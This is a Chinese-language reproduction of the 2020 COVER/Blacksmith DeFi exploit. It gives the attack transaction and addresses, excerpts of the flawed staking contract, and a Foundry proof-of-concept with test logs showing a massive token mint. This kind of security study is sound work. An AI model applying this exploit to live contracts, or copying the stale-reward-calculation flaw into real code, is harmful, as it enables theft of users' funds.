defi 攻击复现 cover
- 涉及到的交易和地址
攻击发生的交易 https://etherscan.io/tx/0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215
攻击者 attacker 地址 0x00007569643bc1709561ec2E86F385Df3759e5DD
受害者 Blacksmith 合约地址 0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5
COVER 合约地址 0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286
BPool 合约地址 0x59686E01Aa841f622a43688153062C2f24F8fDed
- 可视化
- 交易详情
Transaction Hash:0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215
Status:Success
Block:11542310
Timestamp:1709 days ago (Dec-28-2020 12:00:21 PM UTC)
From:0x00007569643bc1709561ec2E86F385Df3759e5DD (Grap Finance: Deployer)
Interacted With (To):0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5
ERC-20 Tokens Transferred:
From Grap Finance: Deployer To 0xE0B94a7B...40F1CAeD5 For15,255.552810089260015361 ERC-20: Balancer Poo... (BPT)
Value:0 ETH ($0.00)
Input Data:
Function: deposit(address _lpToken, uint256 _amount)
MethodID: 0x47e7ef24
[0]: 00000000000000000000000059686e01aa841f622a43688153062c2f24f8fded
[1]: 00000000000000000000000000000000000000000000033b01532564ae945f01
- 部分源码
COVER 合约
IBlacksmith.sol
line 9-55
interface IBlacksmith {
struct Miner {
uint256 amount;
uint256 rewardWriteoff; // the amount of COVER tokens to write off when calculate rewards from last update
uint256 bonusWriteoff; // the amount of bonus tokens to write off when calculate rewards from last update
}
struct Pool {
uint256 weight; // the allocation weight for pool
uint256 accRewardsPerToken; // accumulated COVER to the lastUpdated Time
uint256 lastUpdatedAt; // last accumulated rewards update timestamp
}
struct BonusToken {
address addr; // the external bonus token, like CRV
uint256 startTime;
uint256 endTime;
uint256 totalBonus; // total amount to be distributed from start to end
uint256 accBonusPerToken; // accumulated bonus to the lastUpdated Time
uint256 lastUpdatedAt; // last accumulated bonus update timestamp
}
event Deposit(address indexed miner, address indexed lpToken, uint256 amount);
event Withdraw(address indexed miner, address indexed lpToken, uint256 amount);
...
// User action functions
function claimRewards(address _lpToken) external;
function deposit(address _lpToken, uint256 _amount) external;
function withdraw(address _lpToken, uint256 _amount) external;
...
// COVER mining actions
function updatePool(address _lpToken) external;
Blacksmith 合约
Blacksmith.sol
line 16-35
contract Blacksmith is Ownable, IBlacksmith, ReentrancyGuard {
...
uint256 private constant CAL_MULTIPLIER = 1e12; // help calculate rewards/bonus PerToken only. 1e12 will allow meaningful $1 deposit in a $1bn pool
address[] public poolList;
mapping(address => Pool) public pools; // lpToken => Pool
mapping(address => BonusToken) public bonusTokens; // lpToken => BonusToken
// bonusToken => 1 (allowed), allow anyone to use the bonus token to run a bonus program on any pool
mapping(address => uint8) public allowBonusTokens;
// lpToken => Miner address => Miner data
mapping(address => mapping(address => Miner)) public miners;
line 73-107
/// @notice update pool's rewards & bonus per staked token till current block timestamp
function updatePool(address _lpToken) public override {
Pool storage pool = pools[_lpToken];
if (block.timestamp <= pool.lastUpdatedAt) return;
uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this));
if (lpTotal == 0) {
pool.lastUpdatedAt = block.timestamp;
return;
}
// update COVER rewards for pool
uint256 coverRewards = _calculateCoverRewardsForPeriod(pool);
pool.accRewardsPerToken = pool.accRewardsPerToken.add(coverRewards.div(lpTotal));
pool.lastUpdatedAt = block.timestamp;
// update bonus token rewards if exist for pool
BonusToken storage bonusToken = bonusTokens[_lpToken];
if (bonusToken.lastUpdatedAt < bonusToken.endTime && bonusToken.startTime < block.timestamp) {
uint256 bonus = _calculateBonusForPeriod(bonusToken);
bonusToken.accBonusPerToken = bonusToken.accBonusPerToken.add(bonus.div(lpTotal));
bonusToken.lastUpdatedAt = block.timestamp <= bonusToken.endTime ? block.timestamp : bonusToken.endTime;
}
}
function claimRewards(address _lpToken) public override {
updatePool(_lpToken);
Pool memory pool = pools[_lpToken];
Miner storage miner = miners[_lpToken][msg.sender];
BonusToken memory bonusToken = bonusTokens[_lpToken];
_claimCoverRewards(pool, miner);
_claimBonus(bonusToken, miner);
// update writeoff to match current acc rewards & bonus per token
miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);
}
line 115-155
function deposit(address _lpToken, uint256 _amount) external override {
require(block.timestamp >= START_TIME , "Blacksmith: not started");
require(_amount > 0, "Blacksmith: amount is 0");
Pool memory pool = pools[_lpToken];
require(pool.lastUpdatedAt > 0, "Blacksmith: pool does not exists");
require(IERC20(_lpToken).balanceOf(msg.sender) >= _amount, "Blacksmith: insufficient balance");
updatePool(_lpToken);
Miner storage miner = miners[_lpToken][msg.sender];
BonusToken memory bonusToken = bonusTokens[_lpToken];
_claimCoverRewards(pool, miner);
_claimBonus(bonusToken, miner);
miner.amount = miner.amount.add(_amount);
// update writeoff to match current acc rewards/bonus per token
miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);
IERC20(_lpToken).safeTransferFrom(msg.sender, address(this), _amount);
emit Deposit(msg.sender, _lpToken, _amount);
}
function withdraw(address _lpToken, uint256 _amount) external override {
require(_amount > 0, "Blacksmith: amount is 0");
Miner storage miner = miners[_lpToken][msg.sender];
require(miner.amount >= _amount, "Blacksmith: insufficient balance");
updatePool(_lpToken);
Pool memory pool = pools[_lpToken];
BonusToken memory bonusToken = bonusTokens[_lpToken];
_claimCoverRewards(pool, miner);
_claimBonus(bonusToken, miner);
miner.amount = miner.amount.sub(_amount);
// update writeoff to match current acc rewards/bonus per token
miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);
_safeTransfer(_lpToken, _amount);
emit Withdraw(msg.sender, _lpToken, _amount);
}
line 314-321
function _claimCoverRewards(Pool memory pool, Miner memory miner) private nonReentrant {
if (miner.amount > 0) {
uint256 minedSinceLastUpdate = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER).sub(miner.rewardWriteoff);
if (minedSinceLastUpdate > 0) {
cover.mint(msg.sender, minedSinceLastUpdate); // mint COVER tokens to miner
}
}
}
从 IBlacksmith.sol 源码可见:IBlacksmith 被定义为接口。Miner 和 Pool 都是[结构体]
其中:Miner.rewardWriteoff 最后更新时计算得出的冲销的 COVER 代币;Pool.accRewardsPerToken 更新至现在的累计 COVER 代币数量
- EXP
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-12/Cover_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface Blacksmith {
function claimRewardsForPools(address[] calldata _lpTokens) external;
function claimRewards(address _lpToken) external;
function deposit(address _lpToken, uint256 _amount) external;
function withdraw(address _lpToken, uint256 _amount) external;
}// 定义 Blacksmith 接口,以及将要用到的几个函数
contract ContractTest is Test {
CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);// 把受害者 Blacksmith 合约地址传入接口,使得该实例能够使用接口的函数
IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);// 把 BPool 合约地址传入 IERC20 接口,使得该实例能够使用接口的函数
IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);// 把 COVER 合约地址传入 IERC20 接口,使得该实例能够使用接口的函数
function setUp() public {
cheat.createSelectFork("mainnet", 11_542_309); // 攻击发生在 11542310 ,分叉前一区块
}
function test() public {
cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);// 调用 Blacksmith 合约的 deposit 函数,存入 BPool 代币,数量为 15,255.552810089260015361
emit log_named_uint("Deposit BPT", 15_255_552_810_089_260_015_361);
cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
bs.claimRewards(address(bpt));// 调用 Blacksmith 合约的 claimRewards 函数,取出 BPool 代币
emit log_named_uint(
"After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)
);
}
}
- 测试结果
$ forge test Cover_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.8.10
[?] Solc 0.8.10 finished in 3.70s
Compiler run successful with warnings:
Ran 1 test for test/Cover_exp.t.sol:ContractTest
[PASS] test() (gas: 140811)
Logs:
Deposit BPT: 15255552810089260015361
After claimRewards, Cover Balance: 40316176729922452045213336697791916580
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.89s (24.65s CPU time)
Ran 1 test suite in 26.96s (26.89s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://tokenview.io/cn/learn/cover-issue-bug.html
https://zhuanlan.zhihu.com/p/346785504
https://three-recorder-52a.notion.site/Cover-e4cfb06a161946c0b28de21b5d81af05